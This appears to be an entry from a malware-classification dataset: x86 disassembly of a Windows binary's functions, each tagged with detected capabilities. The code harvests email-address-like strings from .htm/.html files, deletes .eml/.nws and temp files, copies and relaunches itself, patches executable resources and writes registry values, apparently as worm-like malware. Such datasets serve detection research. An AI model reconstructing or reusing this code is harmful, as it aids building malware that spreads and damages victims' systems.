joyce8/EMBER2024-capa huggingface dataset:
Function at 0x37374582
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
push esi
and dword [ebp - 4], 0
mov esi, 0x400
push edi
push esi
push 8
push dword [0x3737ad14]
call dword [0x3737acd4]
mov edi, eax
test edi, edi
mov dword [ebp - 0xc], edi
je 0x373747cb
push esi
push dword [ebp + 8]
push edi
call dword [sym.imp.MSVCRT.dll_strncpy]
push edi
call fcn.3737186e
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
sub esi, eax
push esi
push str..
push edi
call dword [sym.imp.MSVCRT.dll_strncat]
add esp, 0x20
lea eax, [ebp - 0x14c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
jne 0x37374607
push edi
push 0
push dword [0x3737ad14]
call dword [0x3737acd0]
jmp 0x373747c8
mov esi, dword [sym.imp.MSVCRT.dll__strlwr]
lea eax, [ebp - 0x120]
push eax
call esi
mov edi, 0x37379010
lea eax, [ebp - 0x120]
push edi
push eax
call sub.MSVCRT.dll_strcmp
add esp, 0xc
test eax, eax
je 0x373746c3
lea eax, [ebp - 0x120]
push 0x37379488
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x373746c3
lea eax, [ebp - 0x120]
push eax
call sub.MSVCRT.dll_strlen
cmp eax, 4
pop ecx
jbe 0x373746c3
test byte [ebp - 0x14c], 0x10
jne 0x373746c3
lea eax, [ebp - 0x120]
push str..eml
push eax
call sub.MSVCRT.dll_strlen
pop ecx
lea eax, [ebp + eax - 0x124]
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x373746af
lea eax, [ebp - 0x120]
push str..nws
push eax
call sub.MSVCRT.dll_strlen
pop ecx
lea eax, [ebp + eax - 0x124]
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x373746c3
lea eax, [ebp - 0x120]
push eax
push dword [ebp + 8]
call fcn.373747cf
pop ecx
mov dword [ebp - 4], eax
pop ecx
lea eax, [ebp - 0x14c]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
push eax
push dword [ebp - 8]
call ebx
test eax, eax
je 0x3737479e
lea eax, [ebp - 0x120]
push eax
call esi
lea eax, [ebp - 0x120]
push edi
push eax
call sub.MSVCRT.dll_strcmp
add esp, 0xc
test eax, eax
je 0x3737478f
lea eax, [ebp - 0x120]
push 0x37379488
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x3737478f
lea eax, [ebp - 0x120]
push eax
call sub.MSVCRT.dll_strlen
cmp eax, 4
pop ecx
jbe 0x3737478f
test byte [ebp - 0x14c], 0x10
jne 0x3737478f
lea eax, [ebp - 0x120]
push str..eml
push eax
call sub.MSVCRT.dll_strlen
pop ecx
lea eax, [ebp + eax - 0x124]
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x3737477b
lea eax, [ebp - 0x120]
push str..nws
push eax
call sub.MSVCRT.dll_strlen
pop ecx
lea eax, [ebp + eax - 0x124]
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x3737478f
lea eax, [ebp - 0x120]
push eax
push dword [ebp + 8]
call fcn.373747cf
pop ecx
mov dword [ebp - 4], eax
pop ecx
lea eax, [ebp - 0x14c]
push eax
push dword [ebp - 8]
jmp 0x373746d4
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp - 0xc]
push 0
push dword [0x3737ad14]
call dword [0x3737acd0]
cmp dword [ebp - 4], 0
pop ebx
je 0x373747c8
push dword [ebp + 8]
call fcn.37374384
pop ecx
push 1
pop eax
pop edi
pop esi
leave
ret
Function at 0x373747cf
Capabilities:
Delete file
Get file size
Set file attributes

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, 0x400
push edi
push 8
push dword [0x3737ad14]
call dword [0x3737acd4]
mov esi, eax
xor ebx, ebx
cmp esi, ebx
je 0x373748e1
push edi
push dword [esp + 0x18]
push esi
call dword [sym.imp.MSVCRT.dll_strncpy]
push esi
call fcn.3737186e
push esi
call sub.MSVCRT.dll_strlen
sub edi, eax
push edi
mov edi, dword [sym.imp.MSVCRT.dll_strncat]
push 0x37379484
push esi
call edi
push esi
call sub.MSVCRT.dll_strlen
mov ecx, 0x3ff
sub ecx, eax
push ecx
push dword [esp + 0x40]
push esi
call edi
add esp, 0x30
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x64
cdq
mov ecx, 0x7fff
idiv ecx
inc eax
cmp eax, 0x5f
jle 0x37374860
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x37374881
push ebx
push ebx
push 3
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, 0x80000000
push 7
push ebp
push 0x3737c918
call ebx
mov edi, eax
cmp edi, 0xffffffff
jne 0x37374888
xor edi, edi
jmp 0x37374909
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
push edi
jne 0x373748a3
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x37374881
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
xor eax, eax
push eax
push eax
push 3
push eax
push 7
push ebp
push esi
call ebx
mov ebx, eax
cmp ebx, 0xffffffff
je 0x37374881
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x373748e5
push esi
push 0
push dword [0x3737ad14]
call dword [0x3737acd0]
push ebx
call edi
xor eax, eax
jmp 0x3737491a
push ebx
call edi
mov eax, dword [esp + 0x14]
add eax, 0x1e
cmp eax, ebp
jae 0x37374881
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 1
pop edi
push esi
push 0
push dword [0x3737ad14]
call dword [0x3737acd0]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x3737491f
Capabilities:
Accept command line arguments
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push esi
mov esi, dword [0x3737ad14]
push edi
push 0x2820
push 0
push 0x3737acf8
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [0x3737ad14], esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x3737ad0c], eax
call fcn.37374a2c
mov esi, 0x400
mov edi, 0x3737b118
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push edi
call fcn.3737186e
pop ecx
mov edi, 0x3737ad18
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push edi
call fcn.3737186e
pop ecx
mov edi, 0x3737b518
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push edi
call fcn.3737186e
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
push 0x3737cd18
call sub.MSVCRT.dll_strcpy
pop ecx
mov edi, 0x3737d118
pop ecx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push edi
call fcn.3737186e
pop ecx
lea eax, [ebp - 0x400]
push esi
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x400]
push eax
push 0x3737c118
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x400]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
inc esi
push esi
push 0x3737b918
call sub.MSVCRT.dll_strcpy
and byte [esi], 0
lea eax, [ebp - 0x400]
mov esi, 0x3737bd18
push eax
push esi
call sub.MSVCRT.dll_strcpy
push esi
call fcn.3737186e
add esp, 0x24
call fcn.37374a5f
push 1
pop eax
pop edi
pop esi
leave
ret
Function at 0x37374e36
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x614
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0xc]
push esi
push eax
xor esi, esi
push 0xf003f
push esi
push str.SOFTWAREMicrosoftWindowsCurrentVersionApp_Paths
push 0x80000002
call ebx
test eax, eax
jne 0x37374f40
push edi
push esi
push esi
push esi
lea eax, [ebp - 8]
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
push esi
push eax
lea eax, [ebp - 0x214]
mov dword [ebp - 8], 0xff
push eax
push esi
push dword [ebp - 0xc]
mov dword [ebp - 4], esi
call edi
test eax, eax
jne 0x37374f36
lea eax, [ebp - 0x114]
push str.SOFTWAREMicrosoftWindowsCurrentVersionApp_Paths_
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x114]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x10]
push eax
push 0xf003f
lea eax, [ebp - 0x114]
push esi
push eax
push 0x80000002
call ebx
test eax, eax
jne 0x37374f12
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x400
push eax
lea eax, [ebp - 0x614]
push eax
push esi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
cmp dword [0x3737ad10], esi
je 0x37374f09
lea eax, [ebp - 0x614]
push eax
call fcn.37373883
pop ecx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc dword [ebp - 4]
push esi
push esi
push esi
lea eax, [ebp - 8]
push esi
push eax
lea eax, [ebp - 0x214]
push eax
mov dword [ebp - 8], 0xff
push dword [ebp - 4]
push dword [ebp - 0xc]
jmp 0x37374e8b
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x373754b3
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
lea eax, [ebp - 0x28]
push edi
xor ebx, ebx
push eax
mov dword [ebp - 0x10], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
movzx eax, word [ebp - 0x28]
movzx ecx, word [ebp - 0x26]
imul eax, eax, 0x16d
imul ecx, ecx, 0x1e
add eax, ecx
push 4
movzx ecx, word [ebp - 0x22]
add eax, ecx
pop edi
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerMapMail
push 0x80000001
mov dword [ebp - 8], edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x3737559a
cmp dword [ebp - 0x14], 2
push esi
jne 0x3737556e
lea eax, [ebp - 8]
mov esi, str.Cache
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x37375559
mov eax, dword [ebp - 0x18]
add eax, 0xa
cmp eax, dword [ebp - 0xc]
jae 0x37375590
push dword [ebp - 8]
lea eax, [ebp - 0xc]
push eax
push edi
push ebx
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x37375589
push dword [ebp - 8]
lea eax, [ebp - 0xc]
push eax
push edi
push ebx
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x37375590
push dword [ebp - 8]
lea eax, [ebp - 0xc]
push eax
push edi
push ebx
push str.Cache
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x37375590
mov dword [ebp - 0x10], 1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
cmp dword [ebp - 0x10], ebx
mov byte [0x3737d6c4], bl
pop edi
pop ebx
je 0x373755ac
call fcn.373755b1
push 1
pop eax
leave
ret

Function at 0x373755b1
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x400
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x37375613
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x408]
push eax
push 0
push 0
push str.Cache
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x408]
push eax
call fcn.37375622
pop ecx
call fcn.37375fcb
call fcn.37375a0e
push 1
pop eax
leave
ret
Function at 0x37375622
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x144
push esi
push edi
mov edi, 0x400
push edi
push 8
push dword [0x3737ad14]
call dword [0x3737acd4]
mov esi, eax
test esi, esi
je 0x373757e2
push ebx
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_strncpy]
push edi
push dword [esp + 0x15c]
push esi
call ebp
push esi
call fcn.3737186e
push dword [esp + 0x168]
call sub.MSVCRT.dll_strlen
mov ebx, dword [sym.imp.MSVCRT.dll_strncat]
mov ecx, edi
sub ecx, eax
push ecx
push str..
push esi
call ebx
add esp, 0x20
lea eax, [esp + 0x14]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
jne 0x3737569f
xor edi, edi
jmp 0x373757cf
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.MSVCRT.dll__strlwr]
lea eax, [esp + 0x44]
mov dword [esp], 0x37379010
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x373757ab
lea eax, [esp + 0x40]
push 0x37379488
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x373757ab
test byte [esp + 0x14], 0x10
je 0x37375721
push edi
push dword [esp + 0x15c]
push esi
call ebp
push esi
call sub.MSVCRT.dll_strlen
mov ecx, edi
sub ecx, eax
push ecx
push 0x37379484
push esi
call ebx
push esi
call sub.MSVCRT.dll_strlen
mov ecx, edi
sub ecx, eax
lea eax, [esp + 0x60]
push ecx
push eax
push esi
call ebx
push esi
call fcn.37375622
jmp 0x373757a8
lea eax, [esp + 0x40]
push eax
call sub.MSVCRT.dll_strlen
cmp eax, 4
pop ecx
jbe 0x373757ab
lea eax, [esp + 0x40]
push str..htm
push eax
call sub.MSVCRT.dll_strlen
pop ecx
lea eax, [esp + eax + 0x40]
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x37375771
lea eax, [esp + 0x40]
push str.html
push eax
call sub.MSVCRT.dll_strlen
pop ecx
lea eax, [esp + eax + 0x40]
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x373757ab
push edi
push dword [esp + 0x15c]
push esi
call ebp
push esi
call sub.MSVCRT.dll_strlen
mov ecx, edi
sub ecx, eax
push ecx
push 0x37379484
push esi
call ebx
push esi
call sub.MSVCRT.dll_strlen
mov ecx, edi
sub ecx, eax
lea eax, [esp + 0x60]
push ecx
push eax
push esi
call ebx
push esi
call fcn.373757eb
add esp, 0x30
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x3737569f
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_FindClose]
push 1
pop edi
push esi
push 0
push dword [0x3737ad14]
call dword [0x3737acd0]
pop ebp
mov eax, edi
pop ebx
pop edi
pop esi
add esp, 0x144
ret
Function at 0x373757eb
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
xor ebx, ebx
push edi
push ebx
push ebx
push 3
push ebx
push 3
push 0x80000000
push dword [ebp + 8]
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x3737584f
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
mov dword [ebp + 8], edi
je 0x37375848
cmp edi, 0x800000
ja 0x37375848
push edi
push 8
push dword [0x3737ad14]
call dword [0x3737acd4]
cmp eax, ebx
mov dword [ebp - 4], eax
jne 0x37375856
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x3737593a
lea ecx, [ebp - 8]
push ebx
push ecx
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
push esi
jne 0x37375876
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
jmp 0x37375928
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
xor esi, esi
xor edi, edi
cmp dword [ebp + 8], ebx
jbe 0x37375925
mov edx, dword [ebp - 4]
mov al, byte [edi + edx]
cmp al, 0x7b
jge 0x373758ba
cmp al, 0x2d
jle 0x373758ba
cmp al, 0x2f
je 0x373758ba
cmp al, 0x3a
jl 0x373758a5
cmp al, 0x3f
jle 0x373758ba
cmp al, 0x5b
jl 0x373758ad
cmp al, 0x5e
jle 0x373758ba
cmp al, 0x60
je 0x373758ba
cmp al, 0x40
jne 0x3737591b
push 1
pop esi
jmp 0x3737591b
cmp esi, ebx
je 0x37375917
cmp edi, ecx
jbe 0x37375911
mov esi, edi
sub esi, ecx
cmp esi, 2
jbe 0x37375911
cmp esi, 0x80
jae 0x37375911
lea eax, [esi - 1]
push eax
lea eax, [ecx + edx + 1]
push eax
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp + esi - 0x108]
add esp, 0xc
mov byte [eax - 1], bl
cmp byte [ebp - 0x108], 0x40
je 0x37375911
cmp byte [eax - 2], 0x40
je 0x37375911
lea eax, [ebp - 0x108]
push eax
call fcn.3737593f
pop ecx
xor esi, esi
mov ecx, edi
jmp 0x3737591b
mov ecx, edi
xor esi, esi
inc edi
cmp edi, dword [ebp + 8]
jb 0x3737588b
push 1
pop esi
push dword [ebp - 4]
push ebx
push dword [0x3737ad14]
call dword [0x3737acd0]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x37376374
Capabilities:
Set file attributes
Terminate process

Disassembly:
push ecx
push ebx
push ebp
push esi
xor esi, esi
push edi
push esi
push 0x80000
push esi
mov dword [0x3737ad14], esi
call dword [sym.imp.KERNEL32.dll_HeapCreate]
cmp eax, esi
mov dword [0x3737ad14], eax
je 0x37376559
push dword [esp + 0x18]
call fcn.37376b39
cmp eax, 1
pop ecx
mov dword [0x3737d768], eax
je 0x373763fd
push dword [esp + 0x18]
call fcn.37376a75
mov esi, dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
pop ecx
mov ebp, str.efqpm2300dfhroop
mov ebx, 0xb7
jne 0x3737642e
xor eax, eax
cmp dword [0x3737d768], eax
jne 0x3737642e
push ebp
push eax
push eax
call esi
mov dword [esp + 0x10], eax
call edi
cmp eax, ebx
jne 0x3737640e
cmp dword [esp + 0x10], 0
je 0x373763fd
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [0x3737ad14]
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
jmp 0x37376559
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esp + 0x18]
call fcn.37376564
pop ecx
push dword [0x3737ad14]
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
call fcn.3737491f
cmp dword [0x3737d768], 0
jne 0x37376441
call fcn.37374135
push ebp
push 0
push 0
call esi
mov esi, eax
call edi
cmp eax, ebx
jne 0x37376479
test esi, esi
je 0x3737645b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [0x3737acc4]
call fcn.37374dee
push dword [0x3737ad14]
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
push 0
jmp 0x37376553
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
cmp dword [0x3737d768], edi
jne 0x373764ec
push str.dontrunold
push 0x3737cd18
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
test eax, eax
pop ecx
jne 0x373764ec
push dword [esp + 0x18]
call fcn.37376564
pop ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
pop ecx
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x64
cdq
mov ecx, 0x7fff
idiv ecx
cmp eax, 0x50
jle 0x373764d3
call fcn.37376985
call dword [0x3737acc4]
call fcn.37374dee
push dword [0x3737ad14]
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
jmp 0x37376552
call fcn.373766ff
call fcn.3737681c
cmp dword [0x3737d768], edi
jne 0x37376503
call fcn.37371d7c
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x26
push str.c:httpodbc.dll
call esi
push 0x26
push str.d:httpodbc.dll
call esi
push 0x26
push str.e:httpodbc.dll
call esi
cmp dword [0x3737ad10], edi
je 0x37376535
cmp dword [0x3737d768], 0x63
jne 0x3737653b
push edi
call fcn.37371f05
call dword [0x3737acc4]
push dword [0x3737ad14]
call dword [0x3737acd8]
call fcn.37374dee
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 0xc
Function at 0x37376564
Capabilities:
Accept command line arguments
Copy file
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x854
push ebx
push esi
push edi
push dword [ebp + 8]
call fcn.37376a75
test eax, eax
pop ecx
mov edi, 0x3737b518
jne 0x37376610
call fcn.37374a2c
mov esi, 0x400
mov ebx, 0x3737b118
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push ebx
call fcn.3737186e
pop ecx
mov ebx, 0x3737ad18
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push ebx
call fcn.3737186e
pop ecx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push edi
call fcn.3737186e
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
push 0x3737cd18
call sub.MSVCRT.dll_strcpy
pop ecx
mov ebx, 0x3737d118
pop ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
call fcn.3737186e
mov dword [esp], str.SHELL32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.ShellExecuteA
push eax
mov dword [0x3737acfc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x3737acf4], eax
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x454]
push 0x200
push eax
push dword [ebp + 8]
call ebx
xor esi, esi
test eax, eax
jne 0x3737663c
lea eax, [ebp - 0x454]
push 0x200
push eax
push esi
call ebx
lea eax, [ebp - 0x254]
push eax
push esi
push 0x37379e58
push edi
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0x254]
push str..exe
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x254]
pop ecx
push esi
push eax
lea eax, [ebp - 0x454]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x254]
push 1
push eax
call fcn.373719a3
push 0x44
lea eax, [ebp - 0x54]
pop edi
push edi
push esi
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x10]
push esi
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x254]
mov dword [ebp - 0x54], edi
push eax
lea eax, [ebp - 0x854]
push eax
mov word [ebp - 0x24], si
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x854]
push str.__dontrunold
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x30
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x854]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
lea eax, [ebp - 0x254]
push eax
call fcn.37371899
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x373766ff
Capabilities:
Copy file
Delete file
Get common file path
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
call fcn.3737164b
mov ebx, 0x3737c518
xor esi, esi
push ebx
push esi
push 0x37379e58
push 0x3737b518
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str..exe
push ebx
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push esi
push ebx
push 0x3737c118
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x80
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov esi, str.NULL
lea edi, [ebp - 0xc]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 1
lea ecx, [ebp - 0xc]
pop edi
mov dword [ebp - 4], eax
push edi
push ecx
push 0x804
push 0x66
push 0xa
push eax
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
xor esi, esi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
push esi
push ebx
call fcn.373719a3
push ebx
call fcn.37371899
add esp, 0xc
push esi
push esi
push 3
push esi
push 3
push 0xc0000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x37376815
push esi
push esi
push 0xd0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x3737680e
cmp dword [0x3737a470], esi
jne 0x373767e9
lea eax, [ebp - 4]
push esi
push eax
push 4
push 0x3737a470
push ebx
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
jmp 0x373767ff
lea eax, [ebp - 4]
push esi
push eax
push 4
push 0x3737a470
push ebx
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x3737680e
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x37376817
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x37376985
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
sub esp, 0x144
push ebx
push ebp
push esi
push edi
mov edi, 0x400
push edi
push 8
push dword [0x3737ad14]
call dword [0x3737acd4]
mov esi, eax
test esi, esi
je 0x37376a6a
mov ebp, 0x3737b518
push edi
push ebp
push esi
call dword [sym.imp.MSVCRT.dll_strncpy]
push esi
call fcn.3737186e
push ebp
call sub.MSVCRT.dll_strlen
mov ebx, dword [sym.imp.MSVCRT.dll_strncat]
mov ecx, edi
sub ecx, eax
push ecx
push str._sample.exe
push esi
call ebx
add esp, 0x20
lea eax, [esp + 0x14]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
jne 0x37376a03
push esi
push 0
push dword [0x3737ad14]
call dword [0x3737acd0]
jmp 0x37376a67
push edi
push ebp
push esi
call dword [sym.imp.MSVCRT.dll_strncpy]
push esi
call sub.MSVCRT.dll_strlen
mov ecx, edi
sub ecx, eax
push ecx
push 0x37379484
push esi
call ebx
push esi
call sub.MSVCRT.dll_strlen
mov ecx, edi
sub ecx, eax
lea eax, [esp + 0x60]
push ecx
push eax
push esi
call ebx
add esp, 0x2c
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x37376a03
push esi
push eax
push dword [0x3737ad14]
call dword [0x3737acd0]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_FindClose]
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x144
ret